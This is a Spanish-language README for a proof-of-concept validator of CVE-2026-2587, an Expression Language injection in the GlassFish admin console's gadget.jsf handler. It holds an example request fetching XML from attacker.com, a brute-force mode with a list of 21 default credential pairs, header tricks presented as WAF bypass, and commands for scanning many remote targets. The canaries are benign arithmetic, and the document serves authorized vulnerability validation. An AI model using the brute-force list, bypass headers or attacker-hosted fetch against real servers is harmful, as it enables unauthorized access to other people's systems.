Validador de PoC para CVE-2026-2587 de inyección EL (Expression Language) y ejecución remota de código (RCE) en Eclipse GlassFish en el manejador gadget.jsf de la consola de administración. Escáner de vulnerabilidades autenticado y seguro para pruebas autorizadas.
Validador PoC seguro para CVE-2026-2587, un problema crítico de inyección EL/RCE que afecta el manejo de gadgets de la consola de administración de Eclipse GlassFish a través de /common/gadgets/gadget.jsf.
Esta herramienta ayuda a los equipos de seguridad a validar la exposición a CVE-2026-2587 en entornos autorizados utilizando un canario EL aritmético benigno.
Asignado por: Eclipse Foundation (CNA) · Publicado: 19 de mayo de 2026 CVSS:
9.6 Crítico·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE-917 — Inyección de Expression Language en el aviso público al 21 de mayo de 2026 en el aviso público al 21 de mayo de 2026 la versión es solo contexto de enrutamiento/informe; el veredicto requiere prueba.
DesconocidoDesconocidoExiste una vulnerabilidad crítica de ejecución remota de código en el manejador de gadgets de la consola de administración de GlassFish. La aplicación procesa archivos .xml obtenidos de una URL suministrada a través del parámetro de consulta gadget= y evalúa los valores proporcionados por el usuario dentro de los atributos <ModulePrefs> mediante el motor de Java Expression Language (EL) sin saneamiento ni escape.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Si el XML contiene `#{7*7}` en un atributo `<ModulePrefs title="">`, GlassFish lo evalúa en el lado del servidor y devuelve `49` — confirmando la ejecución de EL. Una cadena completa de RCE sigue a través del acceso de EL al runtime de Java.
Los registros públicos de avisos actuales no publican un límite de versión afectada o parcheada. Por lo tanto, este validador se basa primero en la evidencia: identifica GlassFish e informa metadatos de versión, pero no clasifica un objetivo como vulnerable solo a partir de una cadena de versión.
---
## Cómo Funciona

La ruta de validación segura aloja una sonda XML benigna, envía una solicitud autenticada de la consola de administración a `gadget.jsf`, permite que GlassFish obtenga ese XML desde la URL de callback, y verifica si el canary `<ModulePrefs title="">` evalúa de `#{7*7}` a `49`.
**Punto de inyección confirmado vs. no:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Escenario | ¿Autenticación necesaria? |
|---|---|
Golpe directo a gadget.jsf | Sí — autenticación FORM, página de inicio de sesión 200 |
| Ataque CSRF real | No — aprovecha la sesión activa del administrador |
| Este validador | Sí — --cookie o --username/--password |
| Verificación de exposición no autenticada | No — el script lo prueba automáticamente |
El vector CVSS PR:N / UI:R significa:
PR:N — el atacante no necesita credenciales propiasUI:R — un administrador autenticado debe interactuar (entrega CSRF)Para la validación en laboratorio, omita CSRF por completo — use su propia sesión de administrador directamente.
Requisitos: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Contenido del repositorio:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Advertencia: GHSA aún lista las versiones afectadas y parcheadas como desconocidas.
omnifish/glassfish:7.0.15es un buen candidato de laboratorio — no una compilación garantizada como vulnerable. La primitiva de validación sigue siendo el canario aritmético: si#{7*7}se evalúa como49, EL está activo.
docker compose -f docker-compose.lab.yml up
Levanta GlassFish 7.0.15 con puertos enlazados solo a `127.0.0.1` y `host.docker.internal` preconfigurado para que el contenedor pueda alcanzar tu servidor XML local.
### Opción B — ejecución simple de docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Admin console: https://localhost:4848 · Login: admin / admin
(Certificado autofirmado — se espera una advertencia del navegador.)
En una segunda terminal:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Verificar la accesibilidad desde la perspectiva del contenedor:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
Inicie sesión en la consola de administración primero (sesión de navegador o --cookie), luego:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Output | Significado |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnerable** — EL evaluado en `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnerable** — EL evaluado en cuerpo CDATA |
| `CVE2587_TITLE_#{7*7}_END` | No vulnerable / EL no evaluado |
| *(sin salida)* | GlassFish nunca obtuvo el XML — verificar alcance del callback |
> El cuerpo CDATA normalmente permanece sin procesar incluso en compilaciones vulnerables; un resultado positivo de `TITLE` solo es suficiente para confirmar el hallazgo.
---
### Validación automatizada contra el laboratorio local```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
El repositorio incluye probe.xml listo para usar. También puedes generar uno nuevo en cualquier momento — útil cuando deseas un prefijo canary personalizado o valores aleatorios para que la sonda sea única por compromiso.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
Salida después de escribir a un archivo:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
Úsalo cuando GlassFish se ejecute localmente o en Docker en la misma máquina.
Obtén tu JSESSIONID desde las DevTools del navegador → Aplicación → Cookies mientras estés conectado a la consola de administración, luego:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` se resuelve a la máquina host desde dentro de Docker.
> El contenedor GlassFish obtiene tu probe XML a través de esta dirección.
---
### Credenciales```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Si falla el inicio de sesión por formulario, el script continúa e intenta el endpoint de todas formas. Si eso también falla, imprime instrucciones paso a paso para obtener una cookie de sesión.
Cuando no tienes credenciales en absoluto, --brute prueba 21 pares de credenciales comunes por defecto de GlassFish en orden y utiliza el primero que tenga éxito.
Es mutuamente excluyente con --username y --cookie.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
Si se encuentra un par válido, se imprime en la salida y se registra en la columna `brute_creds` del CSV. Si todos los pares fallan, el escaneo sale con `AUTH_REQUIRED`.
Algunas compilaciones de GlassFish devuelven `/login.jsf` después de un POST de formulario válido. El validador no trata esa URL por sí sola como un fallo; confirma la sesión probando el endpoint del gadget de administración y verificando que la respuesta no sea el formulario de inicio de sesión.
Lista de credenciales probadas (en orden):
| Usuario | Contraseña |
|---|---|
| `admin` | `admin` |
| `admin` | *(vacío)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### Remoto a través de Cloudflare Tunnel
No se requiere cuenta para un túnel rápido.
**Paso 1 — Instalar cloudflared:**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Paso 2 — Iniciar túnel:```bash
cloudflared tunnel --url http://localhost:8000
**Paso 3 — Ejecuta el validador:**
Usa el mismo nombre de host generado con `http://` para la URL de callback. Esto evita
fallos de trust-store de JVM en contenedores de laboratorio GlassFish que no pueden validar la
cadena de certificados TLS de Cloudflare. Si pegas la URL `https://`
trycloudflare generada, el validador reescribe esa retrollamada a `http://` e imprime
una advertencia. Una barra diagonal final es opcional; el validador agrega `/canary.xml` y
las rutas XML por prueba automáticamente.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Úselo cuando no pueda ejecutar un servidor local. La JVM de GlassFish de destino debe poder obtener esta URL directamente, por lo que HTTP simple en un VPS/servidor web de confianza suele ser más fiable que los hosts HTTPS cuya cadena de certificados no es de confianza para la JVM de destino.
La bandera --xml-url omite por completo el servidor integrado.
Genere un nuevo XML de sonda y luego alójelo:```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `--prefix`, `--left`, `--right` deben coincidir con los valores dentro de su archivo XML alojado
> para que el script sepa qué token evaluado buscar en la respuesta.
---
### Remoto vía ngrok (último recurso)
Use ngrok solo como última opción para objetivos remotos. El nivel gratuito puede bloquear
las obtenciones del lado del servidor que no provengan de un navegador, devolviendo una página
de advertencia HTML intersticial. En ese caso, GlassFish obtiene la página de advertencia en lugar de su
`probe.xml`, y el validador puede clasificar la respuesta como una página de inicio de sesión o
un resultado no concluyente. Prefiera Cloudflare Tunnel, un VPS o un host web estático que
la JVM objetivo pueda obtener limpiamente a menos que tenga una cuenta de ngrok de pago que
evite esta restricción.
**Paso 1 — Instalar ngrok:**```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
Paso 2 — Exponga su servidor local:```bash
ngrok http 8000
**Paso 3 — Ejecutar el validador:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Reemplaza
abc123.ngrok-free.appcon tu URL real de ngrok. El script inicia su propio servidor XML en:8000; ngrok reenvía desde internet hacia él.
Prueba si el endpoint está expuesto accidentalmente sin autenticación antes de realizar
un escaneo completo autenticado. Sale inmediatamente después de la Fase 1.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure
---
## Uso — Múltiples objetivos
### Formato del archivo de objetivos
El repositorio incluye `targets.txt.example` como plantilla. Cópialo y edítalo:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
Formato — un objetivo por línea, las líneas que comienzan con # y las líneas en blanco se ignoran, las credenciales por objetivo anulan los --username/--password globales:```
https://server2:4848 admin password123 https://server3:4848 ops secret99
https://server4:4848 admin:admin
Ejecutar contra todos los objetivos:```bash
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
Global
--username/--passwordse aplica a objetivos sin credenciales por línea. Las credenciales por línea tienen prioridad sobre las globales.
Use --threads para escanear múltiples objetivos de forma concurrente.
El servidor XML incorporado se comparte entre todos los hilos.```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json
> Recuentos de hilos recomendados:
> - Laboratorio local: hasta `10`
> - Destinos remotos por internet: `3–5` (respetar límites de tasa)
> - Destino único: `1` (predeterminado)
---
## Formatos de Salida
### Consola
Salida legible por defecto. Agregue `--verbose` para ver los resultados por caso de prueba.```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
Resumen multiobjetivo:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════
---
### CSV```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
Columnas CSV:
| Columna | Descripción |
|---|---|
target | URL objetivo |
timestamp | Momento del escaneo en UTC ISO-8601 |
verdict | VULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR |
vulnerable_count | Número de casos de prueba que confirmaron la evaluación EL |
total_tests | Total de casos de prueba ejecutados |
unauth_exposed | YES si el endpoint respondió sin autenticación |
active_endpoint | URL del endpoint utilizado para las pruebas |
server_header | Cabecera Server: de GlassFish |
detected_version | Cadena de versión si se identificó |
version_source | Fuente del valor de versión: cabecera, página REST/inicio de sesión, o asadmin-api |
version_affected | Estado de la versión según el aviso. Actualmente UNKNOWN porque los rangos afectados/parcheados públicos no están publicados |
admin_console | present, not_found, o unknown |
gadget_endpoint | present, blocked, not_found, o unknown |
proof | evaluated, not_evaluated, o not_attempted |
TC-01 … TC-10 | Resultado por prueba: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED |
Filas de ejemplo:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
### JSON```bash
--json
Objetivo único:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }
Múltiples objetivos devuelven un array JSON.
---
### Combinando Salidas
Todos los formatos de salida son independientes — combínalos libremente:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
Por defecto, el escáner prueba la ruta compartida del gadget GlassFish bajo las raíces comunes de la GUI de administración:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf
También aprende una raíz de contexto GUI no predeterminada a partir de los encabezados de redirección `Location`
y antepone esa raíz antes de realizar pruebas. Use valores `--path` repetibles solo cuando
desee anular esta lista de descubrimiento.
La detección de versiones se intenta a partir de los encabezados de respuesta, la API REST de administración,
la página de inicio de sesión y, después de un inicio de sesión exitoso, `/__asadmin/version.json` o
`/__asadmin/version`. La información de versión mejora el enrutamiento y los informes únicamente; el
escáner deja `version_affected` como `UNKNOWN` hasta que los registros de avisos públicos
publiquen un límite de versión.
---
### Valores canary personalizados
Haga coincidir el validador con un XML artesanal usando `--prefix`, `--left`, `--right`.
Requerido cuando se usa `--xml-url` con su propio archivo alojado.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Agregue encabezados arbitrarios — útil para bypass de WAF, enrutamiento del balanceador de carga o pruebas detrás de un proxy inverso.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure
---
## Casos de Prueba
El validador ejecuta 10 sondas EL distintas, cada una confirmando una capacidad diferente:
| # | Payload | Esperado | Lo que demuestra |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canario aritmético de referencia |
| TC-02 | `#{1337+2587}` | `3924` | Operador de suma |
| TC-03 | `#{31337*271}` | `8492327` | Multiplicación grande resistente a colisiones |
| TC-04 | `#{9999-1337}` | `8662` | Operador de resta |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Paréntesis anidados / precedencia de operadores |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Condicional / ternario — se ejecuta el flujo de control |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Acceso a métodos de cadena |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Llamadas a métodos encadenados |
| TC-09 | `#{17 mod 5}` | `2` | Operador de palabra clave EL |
| TC-10 | `#{100*100}` | `10000` | Confirmación aritmética adicional |
TC-06, TC-07 y TC-08 son los más significativos — superarlos significa que el motor EL ejecuta **métodos de la API de cadenas y lógica condicional**, el precursor directo de la cadena completa de RCE.
---
## Interpretación de la Salida
| Estado | Significado |
|---|---|
| `VULNERABLE` | Expresión EL evaluada — instancia confirmada afectada |
| `VULNERABLE_UNAUTH` | Endpoint expuesto sin autenticación — peor que la CVE base |
| `NOT_VULNERABLE` | Expresión reflejada literalmente — EL no evaluada |
| `AUTH_REQUIRED` | Endpoint devolvió página de inicio de sesión — verificar cookie o credenciales |
| `INCONCLUSIVE` | Respuesta recibida pero canario no encontrado — ver abajo |
| `ERROR` | Solicitud fallida — problema de red/TLS |
`detected_version` y `version_source` son contexto de apoyo. Debido a que los
avisos públicos actualmente enumeran las versiones afectadas y parcheadas como desconocidas, no trate
`version_affected=UNKNOWN` como un resultado negativo. El único hallazgo positivo es un
token de prueba evaluado.
**Solución de problemas INCONCLUSIVE:**
| Síntoma | Causa | Solución |
|---|---|---|
| `XML hits: 0` | GlassFish nunca obtuvo tu XML | `--callback-url` no alcanzable desde el objetivo |
| `XML hits: 1+` pero sin coincidencia | EL evaluado pero campo incorrecto | Esperado para contenido CDATA |
| Redirección de autenticación durante la ejecución | Sesión expirada | Obtén un nuevo `JSESSIONID` del navegador |
| POST de inicio de sesión redirige a `j_security_check` | Contraseña incorrecta | Usa `--cookie` en su lugar |
---
## Verificación Manual
No se requiere Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
<ModulePrefs title="PROBE_#{7*7}_END"/>
<Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF
# Step 2 — serve it
python3 -m http.server 8000 --directory probe &
# Step 3 — hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# Vulnerable output:
# PROBE_#{7*7}_END ← raw (CDATA — expected)
# PROBE_49_END ← evaluated ✅ VULNERABLE
| Acción | Detalles |
|---|---|
| Actualizar | Aplicar la compilación corregida publicada por el proveedor cuando Eclipse/NVD/GHSA publique un límite de versión parcheado |
| Deshabilitar el manejador de gadgets | Bloquear /common/gadgets/gadget.jsf en el WAF/firewall si no se usa |
| Firewall de la consola de administración | Restringir el puerto 4848 solo a IPs de confianza |
| Protecciones CSRF | Asegurar el atributo de cookie SameSite en las sesiones de administración |
| Regla WAF | Bloquear #{ y ${ en cuerpos XML que lleguen al endpoint de gadgets |
| Recurso | Enlace |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| Aviso de GitHub (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Seguimiento de CVE de Eclipse | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Código fuente de Eclipse GlassFish | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Reportero | Camilo G. (DeepSecurity Perú) — @SeguridadBlanca |
Este repositorio es únicamente para pruebas de seguridad autorizadas e investigación.
Estructura del repositorio:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md
---
<p align="center">
<a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
notes | Mensaje de error si el escaneo falló |